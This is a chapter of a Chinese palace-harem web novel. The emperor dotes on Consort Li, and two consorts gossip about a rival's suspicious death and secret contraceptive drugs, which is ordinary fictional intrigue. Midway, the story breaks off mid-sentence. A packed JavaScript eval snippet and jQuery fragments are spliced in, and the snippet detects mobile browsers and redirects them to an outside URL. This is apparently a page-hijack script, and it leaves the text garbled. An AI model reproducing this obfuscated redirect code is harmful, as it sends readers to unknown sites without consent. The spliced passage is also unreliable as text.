25. 始作俑者

作品:《反套路之请勿在后宫谈恋爱

    锦玄大笑:“朕的阿梨做得很好,卷面满分,夫子夸此女天资聪慧,勤奋肯学,若静心培养必能成为国家栋梁。”


    梨月腹议:这么高的评价,可不像文烛说的话。


    男子故作停顿,凝眉沉声道:“只是,这罚抄,朕瞧着甚是眼熟?”


    “这可是我一笔一划写的,嬷嬷可以作证。”女子满脸不忿,似受了莫大冤枉。


    那人笑着摇摇头:“你这招我小时候就用过,也是嬷嬷看着的。”


    两人对视,都露出开怀笑容。同时天涯读书人,都经历过罚抄的苦,心一下便贴近了。


    什么东西,好香,竟是一盆粉色兰花。幽兰芬香,泥面用白玉状石子覆盖,煞是好看。


    “是慧昭仪送给陛下的吗?”


    “是,她昨日来过,留下一盆兰花,以花香解我烦忧。”锦玄细细观察对面人的神情。


    梨月未曾流露出不悦,浅笑说道:“慧昭仪素有研究,阿梨自是比不过,皇上能得以宽慰,我也觉心中愉悦。”


    男子心中划过一抹失落,留下她在旁伴读,后者则随手拿过古籍,在一旁安静看书。


    兰花淡淡清香,萦绕鼻头。


    锦玄批阅奏折,不时侧头望去,美人握书低眉,如此岁月静好,便是天下最大乐事。


    晚上宿在皇上寝宫,上课是倒方便,可梨月记得她还有正事没办呢。


    “经皇上糖衣炮弹轰炸,柳婕妤才算理我,前些时候让我给她挑衣服,我挑出来一堆,结果柳婕妤非说她年老色衰不适合,阿梨眼光哪有这样差?”


    “阿梨穿什么都好看。”


    “不是说我,是说柳婕妤!”


    “这种小事找皇后就好,何必来麻烦朕。”


    “人人都说阿梨日日夜夜缠着皇上,只有柳婕妤愿意搭话。反正阿梨的事都是小事,也不必去为难皇后娘娘。”


    “你瞧你,朕何曾说过不去,明日就去你可高兴?”


    “阿梨也想占着皇上,不与任何人分享,书上说妒妇致使家宅不宁,我只愿皇上每日都开心!”


    殿内烛火熄灭,夜落。


    “这身衣裳也不错,衬你白皙明艳,是梨婕妤亲自挑选吗?”锦玄牵着柳婕妤手,绕上一圈,给予肯定赞赏,“走,去看看她给你挑的衣裳,朕亲自把关!”


    二人来到侧房衣帽间,女子今儿着一身淡紫宫服,娇媚不失活泼:“姐姐所选皆在左边,右边是臣妾遣母亲新做的,今儿才送进宫。”


    “瞧着都不错,这边倒像是雅绣阁师傅手艺。”


    “皇上好眼力,母亲自然是愿好好打扮臣妾,只为侍奉皇上舒心。”


    “衣裳倒多,怎么没将上次赏赐的一并制衣?”


    嬷嬷将好好存放的织金锦呈上,锦玄看过后咳嗽道:“咳,倒是朕粗心大意,如此厚重不适宜做夏衣,倒是秋猎起风时,做披风或外袍正合适!”


    “臣妾正有此意,入秋穿正好。”


    锦玄低语:“梨婕妤衣裳少,正需要重新量度制衣,你便邀她一同去尚服局,领取新衣吧。”


    “先行谢过皇上,臣妾正打算将织金锦一分为二,给梨婕妤送一件披风去,正好我们二人,便可在秋猎同装出游!”


    “你们倒是姐妹情深,赏你了便随你怎么处置。”锦玄牵着柳婕妤说道。


    ——


    慧昭仪今日来到颐和宫,这是皇上特意赏赐的二进制宽敞院落,哪怕宫内主人升到妃位也照样住得。


    她语气平缓,美目含娇:“尧姐姐,妹妹今日过来找你讨要新话本,你可有新鲜的进宫?”


    “没呢,上次给你的这么快就看完啦?”


    “是呀,妹妹在宫内好生无趣,日看夜看可不就快么......”


    “且等等吧,额娘最近没有给我回信。”


    慧昭仪点头应答,语气带上几分勾人的魅惑:“你可想听宫内最近的八卦?”


    尧昭仪俏丽小脸转为粉色,眼眸闪出精光,语气糯糯:“你明知道我最爱热闹,偏要这样勾我,你快说,快说!”


    “我听说宫里最近走人了!”


    “走人还算什么稀奇事,宫内人多,大把嬷嬷公公期满离宫。”


    “我说的可不是那意思,是有位婕妤失足掉井里砸死了!”


    “什么,掉井里不应该是淹死,怎么是砸死的?”


    慧昭仪语气饱含深意,平静叙述着:“姐姐有所不知,那是一口荒废的枯井,原本被厚石头盖住,不知怎么得好好地石头被人移开,那人就失足掉进去,头朝下,就这么把自己砸死了.....”


    “真是奇怪哦,怎么好好的石头就被移开了,那人深夜去那种地方干嘛?”


    “这谁说得通,说不定是撞邪,皇后明天就会告知后宫,且听她的说法吧。”


    “你的意思是?皇......”


    她摇摇头,眼眸半敛,语气尤为平缓:“我可没说,这事太稀奇古怪,我素日跟其他宫妃们甚少往来,才来提前给你说。”


    “我也没跟她们玩,不甚清楚!”


    “此事你就当做不知,且瞧明日皇后是什么说法?”


    “那是自然,此等秘事我心中有数。”


    尧昭仪点点头,她可不怕皇后,只要不明面上开罪于她,有父亲、兄弟和皇上作为依仗,皇后也只能压她半头。


    “我还有另一件趣事与你说。”


    “直说,直说!”


    “皇上今儿没来你这,没来我这。去了柳婕妤那里,这可是十天内第二次!”


    尧昭仪听完前一句想翻白眼,听完后垂眼思索着:“什么?柳婕妤有何魅力,迷得皇上如此?”


    对面之人神秘笑笑,缓缓说道:“是梨婕妤有什么魅力,迷得皇上如此?”


    “关梨婕妤什么事,哦!你是说梨婕妤在皇上面前......”


    她点点肯定说道:“就是梨婕妤,在背后推波助澜。”


    尧昭仪歪头瞪眼,言语尽是娇俏,表情却满是嘲讽:“她为什么这么做,自己占着锦哥哥不好吗,还要分给别人,到时候看柳婕妤诞下皇子,就算躲着哭也没人理她。”


    慧昭仪摇头遂附


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508808|185583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    身贴耳:“她们不可能诞下子嗣!”


    “啊,你是说......”尧昭仪做出喝药的手势。


    对面女子才点点头。


    “怎么你什么都知道,我就说钦天监南宫大人定是倾囊相授,只是你不肯说罢了!”


    慧昭仪故作高深,却也不辩解。她们都知道,皇后在诞下皇子前,地位都不甚稳当,而皇上和皇后想法一致。皇子越多,后宫和前朝便越动荡,尤其是当朝皇上,才继位两年。


    二人没再继续先前话题。


    “你猜梨婕妤知道吗?”尧昭仪期待地等慧昭仪回答。


    “我猜应该不知,她无依无靠能活到现在,全靠皇上庇护。”


    “说得倒是,哪能跟你我相提并论?”


    “皇后先前那杖罚要是落下,二十大板再打得实在些,那女子活不了多久。若她能此刻盛宠下,诞下一儿半女的,往后也不至于如此。瞧她应是不知那汤药之事!”


    “只是我心中倒是疑惑,哪有将皇上往外推的人......”


    她们沉思,依旧想不出答案,转而思考起,如何赢回皇上心意。


    次日,皇后昭告众人:天命无常,生死有数,哀哉贵人余氏,不幸早逝。余婕妤淑德贤良,温婉恭顺,侍奉宫闱,不幸染疾,虽经御医多方调治,终因天不假年,于昭德三百五十五年薨逝于宫中,享年十九岁。望贵人余氏,魂归极乐,早登仙界。


    众人不明真相,还带有半分哀愁,日常吵闹的坤宁宫,此刻格外静谧。


    尧昭仪与慧昭仪对视一眼,二人借故先行一步,去颐和宫私下讨论,欲从皇后的言语中寻出蛛丝马迹。


    “你说,这事是皇后做的吗?”


    “若不是我提前告知过你,你能猜到吗?”


    尧昭仪缓缓摇头:“这人虽说嘴毒一点,哪里能惹上皇后,以致如此。”


    “你倒是忘了梨婕妤那事。”


    “你是说她推的梨婕妤?”她又继续说道“不对!你是说,是她安排一应人等冤告梨婕妤,皇后最后推了上官婕妤进冷宫,实际始作俑者是她?”


    “应是如此,皇后卸磨杀驴。”慧昭仪伸出纤细小手,细长指甲上是红色丹寇,低头细赏着,“只有让始作者永远闭嘴,才能让一桩冤案,尘埃落定。”


    “真狠,我就知道,那夜离不开皇后的手笔。”尧昭仪说罢,将身子贴近几分,双眸闪着奇幻色彩。


    女子往日甜糯之声带出一丝深沉:“你可看见谁推梨婕妤下水,这人与皇后相比,不相上下”那人低头看不清神情,只听耳边传来,“我在皇后那侧,风大卷起细沙迷眼,我自以衣袖遮挡,并未看见。”


    “这倒是奇怪,那么多人却无一人看见,成了宫内最大无头悬案”


    慧昭仪放下茶盏附和:“就是,当下谁人能不好奇,可惜不会有人站出来承认......”


    “那日如此混乱,还有好几位宫妃在拉架间受了小伤,你说这个人是无意的,还是有意的?”


    “这不好说,还有可能两者兼有!”


    “啊?”